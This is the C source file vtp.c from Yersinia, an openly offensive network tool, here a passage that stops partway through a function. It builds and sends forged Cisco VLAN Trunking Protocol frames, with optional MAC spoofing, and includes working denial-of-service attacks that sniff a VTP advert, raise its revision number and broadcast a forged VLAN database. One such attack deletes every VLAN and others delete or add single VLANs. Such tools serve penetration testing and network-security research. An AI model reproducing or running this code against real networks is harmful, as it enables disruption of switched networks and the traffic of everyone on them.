1 /* vtp.c
2  * Implementation and attacks for Cisco's VLAN Trunking Protocol
3  *
4  * Yersinia
5  * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
6  * Copyright 2005-2017 Alfredo Andres and David Barroso
7  *
8  * This program is free software; you can redistribute it and/or
9  * modify it under the terms of the GNU General Public License
10  * as published by the Free Software Foundation; either version 2
11  * of the License, or (at your option) any later version.
12  *
13  * This program is distributed in the hope that it will be useful,
14  * but WITHOUT ANY WARRANTY; without even the implied warranty of
15  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
16  * GNU General Public License for more details.
17  *
18  * You should have received a copy of the GNU General Public License
19  * along with this program; if not, write to the Free Software
20  * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
21  */
22 
23 #ifdef HAVE_CONFIG_H
24 #include <config.h>
25 #endif
26 
27 #ifndef _REENTRANT
28 #define _REENTRANT
29 #endif
30 
31 #include <stdio.h>
32 #include <errno.h>
33 #include <sys/types.h>
34 #include <sys/socket.h>
35 
36 #ifdef HAVE_NETINET_IN_SYSTM_H
37 #include <netinet/in_systm.h>
38 #else
39 #ifdef HAVE_NETINET_IN_SYSTEM_H
40 #include <netinet/in_system.h>
41 #endif
42 #endif
43 
44 #include <netinet/in.h>
45 #include <arpa/inet.h>
46 #include <signal.h>
47 #include <time.h>
48 
49 #ifdef TIME_WITH_SYS_TIME
50 #include <sys/time.h>
51 #endif
52 
53 #ifdef HAVE_UNISTD_H
54 #include <unistd.h>
55 #endif
56 
57 #ifdef HAVE_STRING_H
58 #include <string.h>
59 #endif
60 
61 #ifdef HAVE_STRINGS_H
62 #include <strings.h>
63 #endif
64 
65 #ifdef HAVE_BSTRING_H
66 #include <bstring.h>
67 #endif
68 
69 #ifdef STDC_HEADERS
70 #include <stdlib.h>
71 #endif
72 
73 #ifdef HAVE_PTHREAD_H
74 #include <pthread.h>
75 #endif
76 
77 #include <stdarg.h>
78 
79 #include "vtp.h"
80 
81 void
vtp_register(void)82 vtp_register(void)
83 {
84    protocol_register(PROTO_VTP, "VTP", "VLAN Trunking Protocol", "vtp",
85          sizeof(struct vtp_data), vtp_init_attribs, vtp_learn_packet,
86          vtp_get_printable_packet, vtp_get_printable_store, vtp_load_values,
87          vtp_attack, vtp_update_field, vtp_features,
88          vtp_comm_params, SIZE_ARRAY(vtp_comm_params), NULL, 0, NULL,
89          vtp_init_comms_struct, PROTO_VISIBLE, vtp_end);
90 }
91 
92 /*
93  * Inicializa la estructura que se usa para relacionar el tmp_data
94  * de cada nodo con los datos que se sacaran por pantalla cuando
95  * se accede al demonio de red.
96  * Teoricamente como esta funcion solo se llama desde term_add_node()
97  * la cual, a su vez, solo es llamada al tener el mutex bloqueado por
98  * lo que no veo necesario que sea reentrante. (Fredy).
99  */
100 int8_t
vtp_init_comms_struct(struct term_node * node)101 vtp_init_comms_struct(struct term_node *node)
102 {
103     struct vtp_data *vtp_data;
104     void **comm_param;
105 
106     comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(vtp_comm_params));
107 
108     if (comm_param == NULL)
109     {
110        thread_error("vtp_init_commands_struct calloc error",errno);
111        return -1;
112     }
113 
114     vtp_data = node->protocol[PROTO_VTP].tmp_data;
115 
116     node->protocol[PROTO_VTP].commands_param = comm_param;
117 
118     comm_param[VTP_SMAC]      = &vtp_data->mac_source;
119     comm_param[VTP_DMAC]      = &vtp_data->mac_dest;
120     comm_param[VTP_VERSION]   = &vtp_data->version;
121     comm_param[VTP_CODE]      = &vtp_data->code;
122     comm_param[VTP_DOMAIN]    = &vtp_data->domain;
123     comm_param[VTP_MD5]       = &vtp_data->md5;
124     comm_param[VTP_UPDATER]   = &vtp_data->updater;
125     comm_param[VTP_REVISION]  = &vtp_data->revision;
126     comm_param[VTP_TIMESTAMP] = &vtp_data->timestamp;
127     comm_param[VTP_STARTVAL]  = &vtp_data->start_val;
128     comm_param[VTP_FOLLOWERS] = &vtp_data->followers;
129     comm_param[VTP_SEQ]       = &vtp_data->seq;
130     comm_param[12]            = NULL;
131     comm_param[13]            = NULL;
132     comm_param[VTP_VLAN]      = &vtp_data->options;
133 
134     return 0;
135 }
136 
137 
vtp_th_send(void * arg)138 void vtp_th_send( void *arg )
139 {
140     struct attacks *attacks = (struct attacks *)arg;
141     struct vtp_data *vtp_data = (struct vtp_data *)attacks->data;
142     sigset_t mask;
143 
144     pthread_mutex_lock(&attacks->attack_th.finished);
145 
146     pthread_detach(pthread_self());
147 
148     vtp_data->dom_len = strlen(vtp_data->domain);
149 
150     write_log(0,"\n\nvtp_th_send domain=%s  dom_len=%d\n\n",vtp_data->domain,vtp_data->dom_len);
151 
152     sigfillset(&mask);
153 
154     if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
155     {
156        thread_error("vtp_th_send pthread_sigmask()",errno);
157        vtp_th_send_exit(attacks);
158     }
159 
160     vtp_send(attacks);
161 
162     vtp_th_send_exit(attacks);
163 }
164 
165 
vtp_th_send_exit(struct attacks * attacks)166 void vtp_th_send_exit( struct attacks *attacks )
167 {
168     attack_th_exit(attacks);
169 
170     pthread_mutex_unlock(&attacks->attack_th.finished);
171 
172     pthread_exit(NULL);
173 }
174 
175 
176 
177 int8_t
vtp_send(struct attacks * attacks)178 vtp_send(struct attacks *attacks)
179 {
180     libnet_ptag_t t;
181     libnet_t *lhandler;
182     u_int32_t vtp_len=0, sent;
183     struct vtp_data *vtp_data;
184     struct vtp_summary *vtp_summ;
185     struct vtp_subset *vtp_subset;
186     struct vtp_request *vtp_request;
187     struct vtp_join *vtp_join;
188     u_int8_t *vtp_packet, *aux;
189     u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };
190     dlist_t *p;
191     struct interface_data *iface_data;
192     struct interface_data *iface_data2;
193 
194    vtp_data = attacks->data;
195 
196     switch(vtp_data->code)
197     {
198         case VTP_SUMM_ADVERT:
199            vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);
200         break;
201         case VTP_SUBSET_ADVERT:
202            vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset)+vtp_data->vlans_len;
203         break;
204         case VTP_REQUEST:
205            vtp_len = sizeof(cisco_data)+38;
206         break;
207         case VTP_JOIN:
208            vtp_len = sizeof(cisco_data)+40+126;
209         break;
210         default:
211            vtp_len = sizeof(cisco_data)+30;
212         break;
213     }
214 
215     vtp_packet = calloc(1,vtp_len);
216 
217     if (vtp_packet == NULL)
218     {
219        thread_error("vtp_send calloc error",errno);
220        return -1;
221     }
222 
223     aux = vtp_packet;
224     memcpy(vtp_packet,cisco_data,sizeof(cisco_data));
225     aux+=sizeof(cisco_data);
226 
227     switch(vtp_data->code)
228     {
229         case VTP_SUMM_ADVERT:
230            vtp_summ = (struct vtp_summary *)aux;
231            vtp_summ->version = vtp_data->version;
232            vtp_summ->code = vtp_data->code;
233            vtp_summ->followers = vtp_data->followers;
234            if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
235            {
236                vtp_summ->dom_len = VTP_DOMAIN_SIZE;
237                memcpy(vtp_summ->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
238            }
239            else
240            {
241                vtp_summ->dom_len = vtp_data->dom_len;
242                memcpy(vtp_summ->domain,vtp_data->domain,vtp_data->dom_len);
243            }
244            vtp_summ->revision = htonl(vtp_data->revision);
245            vtp_summ->updater = htonl(vtp_data->updater);
246            memcpy(vtp_summ->timestamp,vtp_data->timestamp,VTP_TIMESTAMP_SIZE);
247            memcpy(vtp_summ->md5,vtp_data->md5,16);
248         break;
249 
250         case VTP_SUBSET_ADVERT:
251            vtp_subset = (struct vtp_subset *)aux;
252            vtp_subset->version = vtp_data->version;
253            vtp_subset->code = vtp_data->code;
254            vtp_subset->seq = vtp_data->seq;
255            if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
256            {
257                vtp_subset->dom_len = VTP_DOMAIN_SIZE;
258                memcpy(vtp_subset->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
259            }
260            else
261            {
262                vtp_subset->dom_len = vtp_data->dom_len;
263                memcpy(vtp_subset->domain,vtp_data->domain,vtp_data->dom_len);
264            }
265            vtp_subset->revision = htonl(vtp_data->revision);
266            if (vtp_data->vlans_len)
267               memcpy((vtp_subset+1),vtp_data->vlan_info,vtp_data->vlans_len);
268         break;
269 
270         case VTP_REQUEST:
271            vtp_request = (struct vtp_request *)aux;
272            vtp_request->version = vtp_data->version;
273            vtp_request->code = vtp_data->code;
274            vtp_request->reserved = 0;
275            if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
276            {
277                vtp_request->dom_len = VTP_DOMAIN_SIZE;
278                memcpy(vtp_request->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
279            }
280            else
281            {
282                vtp_request->dom_len = vtp_data->dom_len;
283                memcpy(vtp_request->domain,vtp_data->domain,vtp_data->dom_len);
284            }
285            vtp_request->start_val = htons(vtp_data->start_val);
286         break;
287 
288         case VTP_JOIN:
289            vtp_join = (struct vtp_join *)aux;
290            vtp_join->version = vtp_data->version;
291            vtp_join->code = vtp_data->code;
292            vtp_join->maybe_reserved = 0;
293            if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
294            {
295                vtp_join->dom_len = VTP_DOMAIN_SIZE;
296                memcpy(vtp_join->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
297            }
298            else
299            {
300                vtp_join->dom_len = vtp_data->dom_len;
301                memcpy(vtp_join->domain,vtp_data->domain,vtp_data->dom_len);
302            }
303            vtp_join->vlan = htonl(0x000003ef);
304            vtp_join->unknown[0] = 0x40;
305         break;
306         default:
307            aux[0]=vtp_data->version;
308            aux[1]=vtp_data->code;
309         break;
310     }
311 
312     for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) {
313        iface_data = (struct interface_data *) dlist_data(p);
314             lhandler = iface_data->libnet_handler;
315 
316             t = libnet_build_802_2(
317                     0xaa,            /* DSAP */
318                     0xaa,            /* SSAP */
319                     0x03,            /* control */
320                     vtp_packet,      /* payload */
321                     vtp_len,         /* payload size */
322                     lhandler,        /* libnet handle */
323                     0);              /* libnet id */
324 
325             if (t == -1)
326             {
327                 thread_libnet_error("Can't build ethernet header",lhandler);
328                 libnet_clear_packet(lhandler);
329                 free(vtp_packet);
330                 return -1;
331             }
332 
333             t = libnet_build_802_3(
334                     vtp_data->mac_dest,       /* ethernet destination */
335                     (attacks->mac_spoofing) ? vtp_data->mac_source : iface_data->etheraddr,
336                     /* ethernet source */
337                     LIBNET_802_2_H + vtp_len, /* frame size */
338                     NULL,                     /* payload */
339                     0,                        /* payload size */
340                     lhandler,                 /* libnet handle */
341                     0);                       /* libnet id */
342 
343             if (t == -1)
344             {
345                 thread_libnet_error("Can't build ethernet header",lhandler);
346                 libnet_clear_packet(lhandler);
347                 free(vtp_packet);
348                 return -1;
349             }
350 
351             /*
352              *  Write it to the wire.
353              */
354             sent = libnet_write(lhandler);
355 
356             if (sent == -1) {
357                 thread_libnet_error("libnet_write error", lhandler);
358                 libnet_clear_packet(lhandler);
359                 free(vtp_packet);
360                 return -1;
361             }
362             libnet_clear_packet(lhandler);
363             protocols[PROTO_VTP].packets_out++;
364             iface_data2 = interfaces_get_struct(iface_data->ifname);
365             iface_data2->packets_out[PROTO_VTP]++;
366     }
367 
368     free(vtp_packet);
369 
370     return 0;
371 }
372 
373 
374 /*
375  * Delete all VTP vlans
376  */
377 void
vtp_th_dos_del_all(void * arg)378 vtp_th_dos_del_all(void *arg)
379 {
380     struct attacks *attacks = (struct attacks *)arg;
381     struct vtp_data *vtp_data, vtp_data_learned;
382     struct pcap_pkthdr header;
383     struct pcap_data pcap_aux;
384     struct libnet_802_3_hdr *ether;
385     struct timeval now;
386     u_int8_t *packet=NULL;
387     sigset_t mask;
388     /* Cisco default vlans */
389     u_int8_t vlan_cisco[]={ 0x14, 0x00, 0x01, 0x07, 0x00, 0x01, 0x05, 0xdc,
390                           0x00, 0x01, 0x86, 0xa1, 0x64, 0x65, 0x66, 0x61,
391                           0x75, 0x6c, 0x74, 0x00, 0x20, 0x00, 0x02, 0x0c,
392                           0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a,
393                           0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66,
394                           0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00,
395                           0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12,
396                           0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b,
397                           0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69,
398                           0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75,
399                           0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
400                           0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f,
401                           0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c,
402                           0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d,
403                           0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00,
404                           0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01,
405                           0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc,
406                           0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65,
407                           0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c,
408                           0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00,
409                           0x03, 0x01, 0x00, 0x02 };
410 
411     pthread_mutex_lock(&attacks->attack_th.finished);
412 
413     pthread_detach(pthread_self());
414 
415     sigfillset(&mask);
416 
417     if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
418     {
419        thread_error("vtp_th_dos_del_all pthread_sigmask()",errno);
420        vtp_th_dos_del_all_exit(attacks);
421     }
422 
423     vtp_data = attacks->data;
424 
425     gettimeofday(&now, NULL);
426 
427     header.ts.tv_sec = now.tv_sec;
428     header.ts.tv_usec = now.tv_usec;
429 
430     if ((packet = calloc(1, SNAPLEN)) == NULL)
431         vtp_th_dos_del_all_exit(attacks);
432 
433 
434     while (!attacks->attack_th.stop)
435     {
436         memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
437         interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet,
438                               PROTO_VTP, NO_TIMEOUT);
439         if (attacks->attack_th.stop)
440            break;
441 
442         ether = (struct libnet_802_3_hdr *) packet;
443 
444         if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
445           continue; /* Oops!! Its our packet... */
446 
447         pcap_aux.header = &header;
448         pcap_aux.packet = packet;
449 
450         if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
451            continue;
452 
453         if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
454              && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
455            continue;
456 
457         write_log(0," Domain    %s\n",vtp_data_learned.domain);
458         write_log(0," Dom_len   %d\n",vtp_data_learned.dom_len);
459         write_log(0," Followers %d\n",vtp_data_learned.followers);
460         write_log(0," Revision  %X\n",(vtp_data_learned.revision+1));
461         if (vtp_generate_md5( NULL,
462                               vtp_data->updater,
463                               (vtp_data_learned.revision+1),
464                               vtp_data_learned.domain,
465                               vtp_data_learned.dom_len,
466                               vlan_cisco,
467                               sizeof(vlan_cisco),
468                               vtp_data->md5,
469                               vtp_data_learned.version) < 0)
470            break;
471 
472         vtp_data->code = VTP_SUMM_ADVERT;
473         vtp_data->followers = 1;
474         if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
475         {
476             vtp_data->dom_len = VTP_DOMAIN_SIZE;
477             memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
478         }
479         else
480         {
481             vtp_data->dom_len = vtp_data_learned.dom_len;
482             memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
483         }
484         vtp_data->revision = vtp_data_learned.revision+1;
485 
486         thread_usleep(200000);
487         if (vtp_send(attacks)< 0)
488            break;
489         thread_usleep(200000);
490 
491         vtp_data->code = VTP_SUBSET_ADVERT;
492         vtp_data->seq = 1;
493 
494         vtp_data->vlan_info = vlan_cisco;
495         vtp_data->vlans_len = sizeof(vlan_cisco);
496         vtp_send(attacks);
497 
498         break;
499     }
500 
501     free(packet);
502 
503     vtp_th_dos_del_all_exit(attacks);
504 }
505 
506 
507 /*
508  * Generate the MD5 hash for a VTP Summary-Advert packet
509  */
510 int8_t
vtp_generate_md5(char * secret,u_int32_t updater,u_int32_t revision,char * domain,u_int8_t dom_len,u_int8_t * vlans,u_int16_t vlans_len,u_int8_t * md5,u_int8_t version)511 vtp_generate_md5(char *secret, u_int32_t updater, u_int32_t revision, char *domain,
512                  u_int8_t dom_len, u_int8_t *vlans, u_int16_t vlans_len, u_int8_t *md5,
513                  u_int8_t version)
514 {
515     u_int8_t *data, md5_secret[16];
516     struct vtp_summary *vtp_summ;
517 
518     /* Space for the data (MD5+SUMM_ADVERT+VLANS+MD5)...*/
519     if ( (data = calloc(1, (16+sizeof(struct vtp_summary)+vlans_len+16))) == NULL)
520     {
521         thread_error("vtp_generate_md5 calloc()",errno);
522         return -1;
523     }
524 
525      /* Do MD5 secret...*/
526     if (secret)
527        md5_sum(data, strlen(secret), md5_secret);
528 
529     vtp_summ = (struct vtp_summary *)(data+16);
530 
531     write_log(0,"Se calcula MD5 con version=%d\n",version);
532 
533     vtp_summ->version = version;
534     vtp_summ->code = 0x01;
535     if (dom_len > VTP_DOMAIN_SIZE)
536     {
537         vtp_summ->dom_len = VTP_DOMAIN_SIZE;
538         memcpy(vtp_summ->domain,domain,VTP_DOMAIN_SIZE);
539     }
540     else
541     {
542         vtp_summ->dom_len = dom_len;
543         memcpy(vtp_summ->domain,domain,dom_len);
544     }
545     vtp_summ->updater  = htonl(updater);
546     vtp_summ->revision = htonl(revision);
547 
548     if (vlans_len)
549        memcpy((void *)(vtp_summ+1),vlans,vlans_len);
550 
551     if (secret)
552        memcpy((void *)(data+16+sizeof(struct vtp_summary)+vlans_len),md5_secret,16);
553 
554     md5_sum(data, (32+sizeof(struct vtp_summary)+vlans_len), md5);
555 
556     free(data);
557 
558     return 0;
559 }
560 
561 
562 
vtp_th_dos_del_all_exit(struct attacks * attacks)563 void vtp_th_dos_del_all_exit( struct attacks *attacks )
564 {
565     attack_th_exit(attacks);
566 
567     pthread_mutex_unlock(&attacks->attack_th.finished);
568 
569     pthread_exit(NULL);
570 }
571 
572 
573 /*
574  * Delete 1 VTP vlan
575  */
576 void
vtp_th_dos_del(void * arg)577 vtp_th_dos_del(void *arg)
578 {
579     struct attacks *attacks=NULL;
580     sigset_t mask;
581 
582     attacks = arg;
583 
584     pthread_mutex_lock(&attacks->attack_th.finished);
585 
586     pthread_detach(pthread_self());
587 
588     sigfillset(&mask);
589 
590     if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
591     {
592        thread_error("vtp_th_dos_del pthread_sigmask()",errno);
593        vtp_th_dos_del_exit(attacks);
594     }
595 
596     vtp_modify_vlan(VTP_VLAN_DEL,attacks);
597 
598     vtp_th_dos_del_exit(attacks);
599 }
600 
601 
602 void
vtp_modify_vlan(u_int8_t op,struct attacks * attacks)603 vtp_modify_vlan(u_int8_t op, struct attacks *attacks)
604 {
605     struct vtp_data *vtp_data, vtp_data_learned;
606     struct pcap_pkthdr header;
607     struct pcap_data pcap_aux;
608     struct libnet_802_3_hdr *ether;
609     struct attack_param *param=NULL;
610     struct timeval now;
611     u_int8_t *packet=NULL;
612     char *vlan_name = NULL;
613     u_int16_t *vlan=NULL;
614 
615     vtp_data = attacks->data;
616 
617     param = attacks->params;
618 
619     vlan = (u_int16_t *)param[VTP_PARAM_VLAN_ID].value;
620 
621     if (op == VTP_VLAN_ADD)
622         vlan_name  = (char *)param[VTP_PARAM_VLAN_NAME].value;
623 
624     gettimeofday(&now, NULL);
625 
626     header.ts.tv_sec = now.tv_sec;
627     header.ts.tv_usec = now.tv_usec;
628 
629     if ((packet = calloc(1, SNAPLEN)) == NULL)
630         return;
631 
632     while (!attacks->attack_th.stop)
633     {
634         memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
635         interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet,
636                               PROTO_VTP, NO_TIMEOUT);
637         if (attacks->attack_th.stop)
638            break;
639 
640         ether = (struct libnet_802_3_hdr *) packet;
641 
642         if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
643           continue; /* Oops!! Its our packet... */
644 
645         pcap_aux.header = &header;
646         pcap_aux.packet = packet;
647 
648         if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
649            continue;
650 
651         if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
652              && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
653            continue;
654 
655         if (vtp_data_learned.code == VTP_SUMM_ADVERT)
656 
657         {
658            if ( !vtp_data_learned.followers)
659            {
660               write_log(0,"vtp_attack: No followers. Sending Request...\n");
661               vtp_data->version = vtp_data_learned.version;
662               vtp_data->code = VTP_REQUEST;
663               if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
664               {
665                   vtp_data->dom_len = VTP_DOMAIN_SIZE;
666                   memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
667               }
668               else
669               {
670                   vtp_data->dom_len = vtp_data_learned.dom_len;
671                   memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
672               }
673               vtp_data->start_val = 1;
674               if (vtp_send(attacks)< 0)
675                  break;
676            }
677            continue;
678         }
679 
680         write_log(0," Domain   %s\n",vtp_data_learned.domain);
681         write_log(0," Dom_len  %d\n",vtp_data_learned.dom_len);
682         write_log(0," Revision %X\n",(vtp_data_learned.revision+1));
683         write_log(0," Vlan_len %d\n",vtp_data_learned.vlans_len);
684 
685         if (op == VTP_VLAN_DEL)
686         {
687             if (vtp_del_vlan(*vlan, vtp_data_learned.vlan_info,
688                              &vtp_data_learned.vlans_len) < 0)
689             {
690                 write_log(0," vtp_del_attack: VLAN %d not existent. Aborting...\n",*vlan);
691                 break;
692             }
693         }
694         else /* Add vlan...*/
695         {
696             if (vtp_add_vlan(*vlan, vlan_name, &vtp_data_learned.vlan_info,
697                              &vtp_data_learned.vlans_len) < 0)
698             {
699                 write_log(0," vtp_add_attack: VLAN %d existent. Aborting...\n",*vlan);
700                 break;
701             }
702         }
703 
704         if (vtp_generate_md5( NULL,
705                               vtp_data->updater,
706                               (vtp_data_learned.revision+1),
707                               vtp_data_learned.domain,
708                               vtp_data_learned.dom_len,
709                               vtp_data_learned.vlan_info,
710                               vtp_data_learned.vlans_len,
711                               vtp_data->md5,
712                               vtp_data_learned.version) < 0)
713             break;
714 
715         vtp_data->version = vtp_data_learned.version;
716         vtp_data->code = VTP_SUMM_ADVERT;
717         vtp_data->followers = 1;
718 
719         if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
720         {
721             vtp_data->dom_len = VTP_DOMAIN_SIZE;
722             memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
723         }
724         else
725         {
726             vtp_data->dom_len = vtp_data_learned.dom_len;
727             memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
728         }
729         vtp_data->revision = vtp_data_learned.revision+1;
730 
731         if (vtp_send(attacks)< 0)
732            break;
733         thread_usleep(200000);
734 
735         vtp_data->version = vtp_data_learned.version;
736         vtp_data->code = VTP_SUBSET_ADVERT;
737         vtp_data->seq = 1;
738         vtp_data->vlans_len = vtp_data_learned.vlans_len;
739         vtp_data->vlan_info = vtp_data_learned.vlan_info;
740 
741         write_log(0," Vlan_len after = %d\n",vtp_data_learned.vlans_len);
742 
743         vtp_send(attacks);
744 
745         break;
746     }
747 
748     free(packet);
749 }
750 
751 
752 int8_t
vtp_del_vlan(u_int16_t vlan,u_int8_t * vlans,u_int16_t * vlen)753 vtp_del_vlan(u_int16_t vlan, u_int8_t *vlans, u_int16_t *vlen)
754 {
755     struct vlan_info *vlan_info, *vlan_info2;
756     u_int8_t gotit=0, *cursor, *cursor2;
757     u_int16_t len=0, vlans_len=0;
758 
759     vlans_len = *vlen;
760 
761     cursor = vlans;
762 
763     while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
764     {
765        vlan_info = (struct vlan_info *) cursor;
766        if ((cursor+vlan_info->len) > (vlans+vlans_len))
767           break;
768        if (ntohs(vlan_info->id) == vlan)
769        {
770           write_log(0,"VLAN gotit!!\n");
771           gotit=1;
772           cursor+=vlan_info->len;
773           len = vlans_len-vlan_info->len;
774           if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
775           {
776              cursor2 = (u_int8_t *)vlan_info;
777              vlan_info2 = (struct vlan_info *) cursor2;
778              if ((cursor2+vlan_info2->len) > (vlans+vlans_len))
779              { /* Oversized!! */
780                 gotit=0;
781                 write_log(0," Oversized vlan length. Aborting...\n");
782                 break;
783              }
784              write_log(0," *NOT* the last VLAN, moving %d bytes...\n",
785                        ( (vlans+vlans_len) - (cursor2+vlan_info->len)));
786              memcpy((void *)vlan_info, (void *)(cursor2+vlan_info->len),
787                         ((vlans+vlans_len) - (cursor2+vlan_info->len)));
788           }
789           break;
790        }
791        cursor+=vlan_info->len;
792     }
793 
794     if (!gotit)
795        return -1;
796 
797     *vlen = len;
798 
799     return 0;
800 }
801 
802 
803 
804 int8_t
vtp_add_vlan(u_int16_t vlan,char * vlan_name,u_int8_t ** vlans_ptr,u_int16_t * vlen)805 vtp_add_vlan(u_int16_t vlan, char *vlan_name, u_int8_t **vlans_ptr, u_int16_t *vlen)
806 {
807     struct vlan_info *vlan_info, *vlan_info2;
808     u_int8_t  *cursor, *cursor2, *aux, *vlans, *last_init=NULL;
809     u_int16_t vlans_len, last_id=0, last_len=0;
810 
811     vlans = *vlans_ptr;
812 
813     vlans_len = *vlen;
814 
815     aux = (u_int8_t *)calloc(1,vlans_len+sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)));
816     if (aux == NULL)
817     {
818        thread_error("vtp_add_vlan calloc()", errno);
819        return -1;
820     }
821 
822     cursor = vlans;
823 
824     while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
825     {
826        vlan_info = (struct vlan_info *) cursor;
827        if ((cursor+vlan_info->len) > (vlans+vlans_len))
828           break;
829        if ( (ntohs(last_id)<= vlan) && (ntohs(vlan_info->id)>= vlan) )
830        {
831           if (last_init == NULL) /* First VLAN */
832           {
833                vlan_info = (struct vlan_info *) aux;
834                vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
835                vlan_info->status = 0x00;
836                vlan_info->type = VLAN_TYPE_ETHERNET;
837                vlan_info->name_len = strlen(vlan_name);
838                vlan_info->id = htons(vlan);
839                vlan_info->mtu = htons(1500);
840                vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
841                memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
842                /* Now copy all the rest of vlans...*/
843                memcpy((void *)(aux+vlan_info->len),vlans,vlans_len);
844                *vlen = vlan_info->len+vlans_len;
845                *vlans_ptr = aux;
846                return 0;
847           }
848 
849           cursor+=vlan_info->len;
850 
851           if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
852           {
853              cursor2 = (u_int8_t *)vlan_info;
854              vlan_info2 = (struct vlan_info *) cursor2;
855              if ((cursor2+vlan_info2->len) > (vlans+vlans_len))
856              { /* Oversized!! */
857                 write_log(0," Oversized vlan length. Aborting...\n");
858                 free(aux);
859                 return -1;
860              }
861              memcpy(aux,(void *)*vlans_ptr,( (last_init+last_len) - vlans ));
862              vlan_info = (struct vlan_info *) (aux+ ((last_init+last_len) - vlans));
863              vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
864              vlan_info->status = 0x00;
865              vlan_info->type = VLAN_TYPE_ETHERNET;
866              vlan_info->name_len = strlen(vlan_name);
867              vlan_info->id = htons(vlan);
868              vlan_info->mtu = htons(1500);
869              vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
870              memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
871              cursor=(u_int8_t *)vlan_info;
872              cursor+=vlan_info->len;
873              memcpy(cursor, cursor2, (vlans+vlans_len)-cursor2 );
874              *vlen = vlan_info->len+vlans_len;
875              *vlans_ptr = aux;
876              return 0;
877           }
878           else /* Last VLAN... */
879           {
880              free( aux );
881              return 0;
882           }
883 
884           break;
885        } /* We got it */
886 
887        last_len  = vlan_info->len;
888        last_id   = vlan_info->id;
889        last_init = (u_int8_t *)vlan_info;
890 
891        cursor+=vlan_info->len;
892     }
893 
894     /* Last VLAN...*/
895 
896     memcpy((void *)aux,(void *)*vlans_ptr,vlans_len);
897 
898     vlan_info = (struct vlan_info *)(aux+vlans_len);
899     vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
900     vlan_info->status = 0x00;
901     vlan_info->type = VLAN_TYPE_ETHERNET;
902     vlan_info->name_len = strlen(vlan_name);
903     vlan_info->id = htons(vlan);
904     vlan_info->mtu = htons(1500);
905     vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
906     memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
907     *vlen = vlan_info->len+vlans_len;
908     *vlans_ptr = aux;
